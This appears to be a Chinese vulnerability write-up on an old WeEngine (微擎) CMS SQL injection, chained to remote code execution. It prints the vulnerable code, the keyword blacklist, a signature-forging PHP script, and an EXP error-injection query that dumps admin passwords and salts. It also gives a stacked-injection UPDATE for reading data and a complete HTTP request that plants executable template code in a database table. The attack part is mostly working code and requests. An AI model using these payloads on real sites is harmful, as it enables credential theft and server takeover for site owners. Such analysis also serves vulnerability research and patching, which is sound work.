微擎 CMS:从 SQL 到 RCE

0x01 写在前面

微擎 CMS 在 2.0 版本的时候悄咪咪修复了一处 SQL 注入漏洞:

该处的注入漏洞网上没有出现过分析文章,因此本文就来分析一下该处 SQL 注入的利用。

0x02 影响版本

经过测试发现,官网在 GitLee 上,在 v1.5.2 存在此漏洞,在 2.0 版本修复了该漏洞,因此目测至少影响到 v1.5.2 版本

0x03 SQL 注入漏洞分析

这个注入漏洞分析还是比较简单的,直接定位到存在漏洞的代码处api.php 530 行开始、564 行开始的两个函数:

private function analyzeSubscribe(&$message) {
        global $_W;
        $params = array();
        $message['type'] = 'text';
        $message['redirection'] = true;
        if(!empty($message['scene'])) {
            $message['source'] = 'qr';
            $sceneid = trim($message['scene']);
            $scene_condition = '';
            if (is_numeric($sceneid)) {
                $scene_condition = " `qrcid` = '{$sceneid}'";
            }else{
                $scene_condition = " `scene_str` = '{$sceneid}'";
            }
            $qr = pdo_fetch("SELECT `id`, `keyword` FROM " . tablename('qrcode') . " WHERE {$scene_condition} AND `uniacid` = '{$_W['uniacid']}'");
            if(!empty($qr)) {
                $message['content'] = $qr['keyword'];
                if (!empty($qr['type']) && $qr['type'] == 'scene') {
                    $message['msgtype'] = 'text';
                }
                $params += $this->analyzeText($message);
                return $params;
            }
        }
        $message['source'] = 'subscribe';
        $setting = uni_setting($_W['uniacid'], array('welcome'));
        if(!empty($setting['welcome'])) {
            $message['content'] = $setting['welcome'];
            $params += $this->analyzeText($message);
        }

        return $params;
    }

    private function analyzeQR(&$message) {
        global $_W;
        $params = array();
        $params = $this->handler($message['type']);
        if (!empty($params)) {
            return $params;
        }
        $message['type'] = 'text';
        $message['redirection'] = true;
        if(!empty($message['scene'])) {
            $message['source'] = 'qr';
            $sceneid = trim($message['scene']);
            $scene_condition = '';
            if (is_numeric($sceneid)) {
                $scene_condition = " `qrcid` = '{$sceneid}'";
            }else{
                $scene_condition = " `scene_str` = '{$sceneid}'";
            }
            $qr = pdo_fetch("SELECT `id`, `keyword` FROM " . tablename('qrcode') . " WHERE {$scene_condition} AND `uniacid` = '{$_W['uniacid']}'");

        }
        if (empty($qr) && !empty($message['ticket'])) {
            $message['source'] = 'qr';
            $ticket = trim($message['ticket']);
            if(!empty($ticket)) {
                $qr = pdo_fetchall("SELECT `id`, `keyword` FROM " . tablename('qrcode') . " WHERE `uniacid` = '{$_W['uniacid']}' AND ticket = '{$ticket}'");
                if(!empty($qr)) {
                    if(count($qr) != 1) {
                        $qr = array();
                    } else {
                        $qr = $qr[0];
                    }
                }
            }
        }
        if(!empty($qr)) {
            $message['content'] = $qr['keyword'];
            if (!empty($qr['type']) && $qr['type'] == 'scene') {
                $message['msgtype'] = 'text';
            }
            $params += $this->analyzeText($message);
        }
        return $params;
    }

analyzeSubscribe函数中的 SQL 语句:

$qr = pdo_fetch("SELECT `id`, `keyword` FROM " . tablename('qrcode') . " WHERE {$scene_condition} AND `uniacid` = '{$_W['uniacid']}'");

直接将$scene_condition变量拼接到了pod_fetch函数中,而$scene_condition变量值来自于$sceneid = trim($message['scene']);,可以看到仅仅是做了移除字符串两侧空白字符处理。那么就可以通过构造$message['scene']的值,去构造 SQL 语句。

analyzeQR函数中也是类似,因此我们以analyzeSubscribe函数为例来分析构造poc。

0x04 SQL 注入构造分析

微擎中为了避免 SQL注入,实现了包括参数化查询、关键字&字符过滤的方式。

过滤的内容如下:

framework/class/db.class.php 700 行:

private static $disable = array(
        'function' => array('load_file', 'floor', 'hex', 'substring', 'if', 'ord', 'char', 'benchmark', 'reverse', 'strcmp', 'datadir', 'updatexml', 'extractvalue', 'name_const', 'multipoint', 'database', 'user'),
        'action' => array('@', 'intooutfile', 'intodumpfile', 'unionselect', 'uniondistinct', 'information_schema', 'current_user', 'current_date'),
        'note' => array('/*', '*/', '#', '--'),
    );

可以看到禁用了以下函数:

  • load_file、floor、hex、substring、if、ord、char、benchmark、reverse、reverse、strcmp、datadir、datadir、updatexml、extractvalue、name_const、multipoint、database、user

禁用了以下关键字:

  • @、into outfile、into dumpfile、union select、union all、union distinct、information_schema、current_user、current_date

禁用了以下注释符:

  • /**/--#

所以对于构造 payload 来说还是造成了一定的麻烦。

首先将函数中 SQL 语句还原如下:

SELECT `id`, `keyword` FROM ims_qrcode where `scene_str` = ? and uniacid = $_W['uniacid'];

那么如果我们想查询到管理员账号密码且不包含相关敏感字符,则可以使用 exp语句,如下示例:

SELECT `id`, `keyword` FROM ims_qrcode where `scene_str` = 1 AND(EXP(~(SELECT*from(select group_concat(0x7B,uid,0x23,password,0x23,salt,0x23,lastvisit,0x23,lastip,0x7D) from we7.ims_users)a))) and uniacid = $_W['uniacid'];

具体构建由于本地 MySQL 版本不合适,因此就不写了。

这里来说下另一种注入方式。

我们知道微擎里的 SQL 语句使用的是 PDO 查询,因此支持堆叠注入。

但要注意的是,使用 PDO 执行 SQL 语句时,虽然可以执行多条 SQL语句,但只会返回第一条 SQL 语句的执行结果,所以第二条语句中需要使用 update 更新数据且该数据我们可以通过页面看到,这样才可以获取数据。

经过测试发现,微擎支持注册用户,如下图所示:

登陆后可以在个人中心看到:

邮寄地址就是一个很好的显示地方,也就是说可以执行以下语句。

update ims_users_profile set address=(select username from ims_users where uid =1 ) where uid=2;

语句中的2是注册后账号的uid,可以从 cookie中找到:

但是这里有一个问题,就是在我们注入的时候,首先要验证:

api.php 181行:

if(empty($this->account)) {
            exit('Miss Account.');
}
if(!$this->account->checkSign()) {
            exit('Check Sign Fail.');
}

跟进checkSign()

public function checkSign() {
        $arrParams = array(
            $token = $this->account['token'],
            $intTimeStamp = $_GET['timestamp'],
            $strNonce = $_GET['nonce'],
        );
        sort($arrParams, SORT_STRING);
        $strParam = implode($arrParams);
        $strSignature = sha1($strParam);

        return $strSignature == $_GET['signature'];
    }

可以看到有三个变量需要我们去验证,其生成规则在api.php 129 行的encrypt函数,如下:

public function encrypt() {
        global $_W;
        if(empty($this->account)) {
            exit('Miss Account.');
        }
        $timestamp = TIMESTAMP;
        $nonce = random(5);
        $token = $_W['account']['token'];
        $signkey = array($token, TIMESTAMP, $nonce);
        sort($signkey, SORT_STRING);
        $signString = implode($signkey);
        $signString = sha1($signString);

        $_GET['timestamp'] = $timestamp;
        $_GET['nonce'] = $nonce;
        $_GET['signature'] = $signString;
        $postStr = file_get_contents('php://input');
        if(!empty($_W['account']['encodingaeskey']) && strlen($_W['account']['encodingaeskey']) == 43 && !empty($_W['account']['key']) && $_W['setting']['development'] != 1) {
            $data = $this->account->encryptMsg($postStr);
            $array = array('encrypt_type' => 'aes', 'timestamp' => $timestamp, 'nonce' => $nonce, 'signature' => $signString, 'msg_signature' => $data[0], 'msg' => $data[1]);
        } else {
            $data = array('', '');
            $array = array('encrypt_type' => '', 'timestamp' => $timestamp, 'nonce' => $nonce, 'signature' => $signString, 'msg_signature' => $data[0], 'msg' => $data[1]);
        }
        exit(json_encode($array));
    }

其中timestamp是时间戳、nonce是5 位随机字符串、signature是由 sha1加密后的$signString,而$signString是由 tokentimestampnonce组成。可以看到,是硬编码生成,因此可以通过print_r($_W)得到token值,如下:

所以可以利用以下代码生成:

<?php
$timestamp = time();
$nonce = random(5);
$token = "omJNpZEhZeHj1ZxFECKkP48B5VFbk1HP";
$signkey = array($token, $timestamp, $nonce);
sort($signkey, SORT_STRING);
$signString = implode($signkey);
$signString = sha1($signString);
echo $timestamp . " | ".$nonce." | ".$signString;
function random($length) {
        $strs = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklnmopqrstuvwxyz0123456789';
        $result = substr(str_shuffle($strs),mt_rand(0,strlen($strs)-($length + 1)),$length);
        return $result;
    }
?>

得到:

1622388248 | SATNv | d886b80d868b6fb1038c77f1f26ae5f2891a3b22

然后根据官网文档中的消息格式:

所以最终的 payload 为:

最终在个人中心可以看到:

但是这种方式比较鸡肋和费事,一是解密非常难,二是如果直接添加账号也会留下很多痕迹,三是即是登录后,还要拿 shell。

那么有没有一步到位的方法?

0x05 从 SQL 到 RCE

/app/source/home/page.ctrl.php文件:

$do = in_array($do, $dos) ? $do : 'index';
$id = intval($_GPC['id']);

if($do == 'getnum'){
    $goodnum = pdo_get('site_page', array('id' => $id), array('goodnum'));
    message(error('0', array('goodnum' => $goodnum['goodnum'])), '', 'ajax');
} elseif($do == 'addnum'){
    if(!isset($_GPC['__havegood']) || (!empty($_GPC['__havegood']) && !in_array($id, $_GPC['__havegood']))) {
        $goodnum = pdo_get('site_page', array('id' => $id), array('goodnum'));
        if(!empty($goodnum)){
            $updatesql = pdo_update('site_page', array('goodnum' => $goodnum['goodnum'] + 1), array('id' => $id));
            if(!empty($updatesql)) {
                isetcookie('__havegood['.$id.']', $id, 86400*30*12);
                message(error('0', ''), '', 'ajax');
            }else { 
                message(error('1', ''), '', 'ajax');
            }
        }        
    }
} else {
    $footer_off = true;
    template_page($id);
}

首先判断$do的类型,如果不是getnumaddnum时,进入template_page函数。

跟进/app/common/template.func.php 111行:

function template_page($id, $flag = TEMPLATE_DISPLAY) {
    global $_W;
    $page = pdo_fetch("SELECT * FROM ".tablename('site_page')." WHERE id = :id LIMIT 1", array(':id' => $id));
    if (empty($page)) {
        return error(1, 'Error: Page is not found');
    }
    if (empty($page['html'])) {
        return '';
    }
    $page['html'] = str_replace(array('<?', '<%', '<?php', '{php'), '_', $page['html']);
    $page['html'] = preg_replace('/<\s*?script.*(src|language)+/i', '_', $page['html']);
    $page['params'] = json_decode($page['params'], true);
    $GLOBALS['title'] = htmlentities($page['title'], ENT_QUOTES, 'UTF-8');
    $GLOBALS['_share'] = array('desc' => $page['description'], 'title' => $page['title'], 'imgUrl' => tomedia($page['params']['0']['params']['thumb']));;

    $compile = IA_ROOT . "/data/tpl/app/{$id}.{$_W['template']}.tpl.php";
    $path = dirname($compile);
    if (!is_dir($path)) {
        load()->func('file');
        mkdirs($path);
    }
    $content = template_parse($page['html']);
    if (!empty($page['params'][0]['params']['bgColor'])) {
        $content .= '<style>body{background-color:'.$page['params'][0]['params']['bgColor'].' !important;}</style>';
    }
    $GLOBALS['bottom_menu'] = $page['params'][0]['property'][0]['params']['bottom_menu'];
    file_put_contents($compile, $content);
    switch ($flag) {
        case TEMPLATE_DISPLAY:
        default:
            extract($GLOBALS, EXTR_SKIP);
            template('common/header');
            include $compile;
            template('common/footer');
            break;
        case TEMPLATE_FETCH:
            extract($GLOBALS, EXTR_SKIP);
            ob_clean();
            ob_start();
            include $compile;
            $contents = ob_get_contents();
            ob_clean();
            return $contents;
            break;
        case TEMPLATE_INCLUDEPATH:
            return $compile;
            break;
    }
}

首先根据idims_site_page数据表里读取页面信息,然后过滤掉敏感信息,最后通过file_put_contents写入到$compile,然后在switch中被包含include $compile;

因此我们可以利用 SQL 注入,向ims_site_page表中插入一句话数据。如下:

POST /wq/new/api.php?id=1&timestamp=1622388248&nonce=SATNv&signature=d886b80d868b6fb1038c77f1f26ae5f2891a3b22 HTTP/1.1
Host: 192.168.49.47
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7
Connection: close
Content-Length: 440


<xml>
<ToUserName>one</ToUserName>
<FromUserName>two</FromUserName>
<CreateTime>1348831806</CreateTime>
<MsgType>qr</MsgType>
<Content>test</Content>
<type>text</type>
<Event>hello</Event>
<scene>test';insert into ims_site_page(id,uniacid,multiid,title,description,params,html,multipage,type,status,createtime,goodnum) values(1,1,1,'4','5','[{"params":{"thumb":""}}]','{if phpinfo())?>//}','8','9','10','11','12');</scene>
</xml>

这里的模板内容PHP 代码可以参考:PHP 语句

然后根据官网文档路由介绍

则有:

成功执行代码

0x06 漏洞修复

这个漏洞主要就是由 SQL 注入引起的,因此修复 SQL 注入后,后续的包含也没法继续利用了。

官方修复方式如下:

改成了微擎自带的参数化查询。

0x07 写在最后

由于这个是老洞了,所以在搭建上坑点不少,但是漏洞很好理解。

最后感谢续师傅的指导,周末还继续带我学习(膜~

0x08 参考

https://www.kancloud.cn/donknap/we7/134649

https://www.kancloud.cn/hl449006540/we-engine-datasheet/1103542

https://wiki.w7.cc/chapter/35?id=507

3 个赞